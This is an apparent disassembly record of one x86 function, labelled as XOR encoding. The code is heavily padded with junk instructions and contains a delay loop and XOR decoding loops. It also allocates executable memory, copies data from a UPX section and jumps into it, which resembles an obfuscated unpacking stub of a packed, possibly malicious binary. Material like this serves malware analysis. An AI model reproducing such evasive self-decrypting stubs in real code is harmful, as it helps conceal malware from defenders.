Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xfeec04e4
inc ebx
dec ebx
popal
add eax, eax
add eax, ebx
dec ebx
mov edx, 0
mov esi, eax
inc ebx
and ebx, ecx
mov edi, esi
add ecx, 0xc5a96f2c
not ebx
and ecx, ebx
mov eax, edi
sub ebx, 0xc16a8f0a
add ecx, 0x68da90c3
add edx, 1
sub ebx, 0x8eb3de32
mov ebx, 0xebce89e9
cmp edx, 0x100cd5f
jne 0x47afcb
sub ecx, 0xe3fb1b61
sub ecx, 0xb1ecd57
cmp edx, 0x100cd5f
je 0x47b022
mov ecx, 0
mov al, byte [ecx]
not ebx
not ecx
sub ecx, ebx
sub ebx, 1
sub ebx, eax
mov eax, 0x47ada2
inc ecx
sub ecx, 0x647aadf7
mov edx, 0x47af96
mov ebx, ecx
dec ebx
sub ebx, 0xd4a49651
mov edi, dword [eax]
sub ebx, 0xf8b821e5
sub ebx, ecx
add esi, ebx
and edi, 0xff
sub esi, ebx
not esi
mov ebx, 0xd7778aad
xor dword [edx], edi
mov esi, ebx
inc esi
add ebx, ebx
add edx, 1
sub esi, 0xe4d2ca69
sub esi, ebx
sub ebx, 0x73128120
inc eax
sub ecx, ebx
add ecx, 0x44fd0b67
cmp edx, entry0
jl 0x47b04a
sub esi, 0xc169e552
not ebx
mov ecx, esi
sub esi, 0x4be72b50
sub ecx, 0x443efb57
inc edi
add ebx, ebx
or ecx, edi
mov esi, 0x47af9a
add edi, 0x4fd3571b
mov ecx, 0xac3ee9fa
mov esi, dword [esi]
dec edi
mov ebx, 0xf1ea97f6
mov esi, dword [esi]
mov edi, ecx
add edi, 1
sub esp, 4
mov dword [esp], esi
inc edi
or edi, edi
add ebx, edi
mov esi, 0x47af96
sub edx, 1
mov ecx, 0x535723df
and edi, ebx
mov esi, dword [esi]
mov edx, edi
sub ebx, 0xd0497990
and ecx, ecx
mov esi, dword [esi]
dec ebx
sub edx, 0xde718e0
push 0x47af9e
or ecx, edx
mov edi, ebx
add ebx, 0x6d7cf5b3
call esi
mov ecx, 0xe837a8d5
mov edi, 0xe841e51e
dec edi
mov esi, dword [esp]
add esp, 4
not edx
add edi, ebx
dec edx
push 0x47afab
dec edx
sub edx, 0xa5512df2
add edi, 0xb6b304c8
sub esp, 4
mov dword [esp], eax
mov edx, ecx
add ebx, ebx
call esi
mov edx, ecx
sub ecx, edx
inc edx
sub esp, 4
mov dword [esp], 0x40
and ecx, edx
and ecx, ebx
push 0x3000
add edx, ecx
sub edx, ecx
dec ebx
push 0x20000714
add ecx, ecx
mov ecx, 0x1dd62ea4
add edx, edi
sub esp, 4
mov dword [esp], 0
sub ecx, edi
add ecx, edx
call eax
mov edx, 0x4f521
mov edx, edi
sub edx, 0x94e667b2
add eax, 0x200006a6
sub edx, ebx
sub edx, ecx
inc edi
mov esi, 0xe0ae08a4
or edx, edx
add edx, 0x66d8c02e
mov dword [eax], esi
not ecx
add edi, 0x8da23def
mov esi, dword [eax]
not ecx
sub edi, edx
add ecx, edx
cmp esi, 0xe0ae08a4
je 0x47b1ca
mov ecx, 0
mov byte [ecx], al
mov edx, ecx
not edx
mov ebx, edi
mov ecx, edi
and ecx, edi
or edx, ebx
sub ebx, 0xd1ddcadc
sub ebx, eax
not eax
mov edx, section.UPX1
and ebx, ebx
add ebx, 1
mov edi, 0x47ada1
sub eax, 0xf8ba2b50
or ebx, eax
mov ecx, 0
or ebx, ebx
inc ebx
mov esi, 0x47ada2
add ebx, 1
sub ebx, eax
lea esi, [ecx + esi]
add eax, eax
mov ebx, 0xe802c57
inc ebx
mov esi, dword [esi]
sub ebx, 0x665c0fe8
and ebx, ebx
and esi, 0xff
or ebx, ebx
not ebx
or eax, eax
add ecx, 1
dec ebx
or ebx, ebx
cmp ecx, 0x1f4
jne 0x47b246
mov ecx, 0
sub ebx, 1
not eax
add eax, 0x563c98cc
inc ebx
not eax
xor dword [edx], esi
and eax, ebx
dec ebx
sub eax, ebx
add edx, 2
inc eax
add ebx, ebx
cmp edx, edi
jl 0x47b202
add eax, 0x119b33af
sub eax, ebx
add ebx, 0x6c1c31a3
mov eax, ebx
mov eax, section.UPX1
mov esi, edx
add esi, 0x28739605
and edx, edx
mov ebx, section.UPX1
add edx, 0x97e0a1bb
mov edx, esi
or esi, edx
mov edi, 0x47ada1
sub edx, esi
add edx, 0xf5c8aeda
and edx, edx
mov ecx, 0
sub esi, 1
mov edx, 0xbd816c49
dec edx
mov cl, byte [ebx]
add esi, edx
add edx, esi
mov byte [eax], cl
sub esi, 0x6e8b7b9e
add esi, 0xa5df525a
inc eax
dec esi
mov esi, 0xba7ae221
mov esi, 0x642cb2f
add ebx, 2
mov edx, 0xacd71aae
not edx
cmp ebx, edi
jle 0x47b2bd
and esi, edx
not esi
dec edx
dec ebx
add eax, 0x7f3999ac
sub esp, 4
mov dword [esp], 0x45e6a0
add eax, 0x1191358f
dec eax
ret